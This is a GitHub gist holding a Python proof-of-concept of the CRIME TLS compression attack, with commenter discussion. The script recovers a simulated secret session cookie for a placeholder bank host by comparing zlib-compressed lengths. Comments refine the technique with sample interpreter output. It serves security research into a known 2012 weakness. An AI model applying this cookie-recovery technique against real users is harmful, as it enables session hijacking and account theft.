-
-
Save koto/3696912 to your computer and use it in GitHub Desktop.
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do | |
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz | |
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/ | |
import string | |
import zlib | |
import sys | |
import random | |
charset = string.letters + string.digits + "%/+=" | |
COOKIE = ''.join(random.choice(charset) for x in range(30)) | |
HEADERS = ("POST / HTTP/1.1\r\n" | |
"Host: thebankserver.com\r\n" | |
"Connection: keep-alive\r\n" | |
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n" | |
"Accept: */*\r\n" | |
"Referer: https://thebankserver.com/\r\n" | |
"Cookie: secret=" + COOKIE + "\r\n" | |
"Accept-Encoding: gzip,deflate,sdch\r\n" | |
"Accept-Language: en-US,en;q=0.8\r\n" | |
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n" | |
"\r\n") | |
BODY = ("POST / HTTP/1.1\r\n" | |
"Host: thebankserver.com\r\n" | |
"Connection: keep-alive\r\n" | |
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n" | |
"Accept: */*\r\n" | |
"Referer: https://thebankserver.com/\r\n" | |
"Cookie: secret=" | |
) | |
BODY_SUFFIX=("\r\n" | |
"Accept-Encoding: gzip,deflate,sdch\r\n" | |
"Accept-Language: en-US,en;q=0.8\r\n" | |
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n" | |
"\r\n") | |
cookie = "" | |
def compress(data): | |
c = zlib.compressobj() | |
return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH) | |
def findnext(b,bs,charset): | |
#print "body len",len(b) | |
baselen = len(compress(HEADERS + | |
b + | |
bs)) | |
possible_chars = [] | |
for c in charset: | |
length = len(compress(HEADERS + | |
b + | |
c + | |
bs)) | |
#print repr(c), length, baselen | |
if length <= baselen: | |
possible_chars.append(c) | |
#print '=', possible_chars | |
return possible_chars | |
def exit(): | |
print "Original cookie: %s" % COOKIE | |
print "Leaked cookie : %s" % cookie | |
sys.exit(1) | |
def forward(): | |
global cookie | |
while len(cookie) < len(COOKIE): | |
chop = 1 | |
possible_chars = findnext(BODY + cookie, "", charset) | |
body_tmp = BODY | |
orig = possible_chars | |
while not len(possible_chars) == 1: | |
if len(body_tmp) < chop: | |
#print "stuck at", possible_chars | |
return False | |
body_tmp = body_tmp[chop:] | |
possible_chars = findnext(body_tmp + cookie, "", orig) | |
cookie = cookie + possible_chars[0] | |
return True | |
while BODY.find("\r\n") >= 0: | |
if not forward(): | |
cookie = cookie[:-1] | |
if len(cookie) >= len(COOKIE): | |
exit() | |
print "reducing body" | |
BODY = BODY[BODY.find("\r\n") + 2:] | |
exit() |
Now it works completely
Now it works flawlessly, though it's probably very inefficient.
There is no need for (guessing and) adding a whole POST into the body. This works quite nice:
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=C"))
289
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=X"))
288
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=XS"))
288
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=XU"))
289
xorninja here. one question: why do you repeat the headers in HEADERS and BODY, then compress them twice?
def findnext(b,bs,charset):
#print "body len",len(b)
baselen = len(compress(HEADERS +
b +
bs))
possible_chars = findnext(BODY + cookie, "", charset)
Ah I got it. One question: does the browsers do any encoding on the POST body?
Ah it seems that you can force the browser not to do any kind of encoding. Very nice!
@stamparm - I started with the shorter body, but practice shows that it rarely gave away full cookie. With longer body it's working much much better.
@koto : hello, could you tell me what do you mean when you say "with longer body it's working much much better"
I don't quite see what I should modify in this source code :/
Thank you
Why do you need BODY_SUFFIX var??
It DOES need improvement, currently it mostly detects the beginning of the cookie (~10 chars)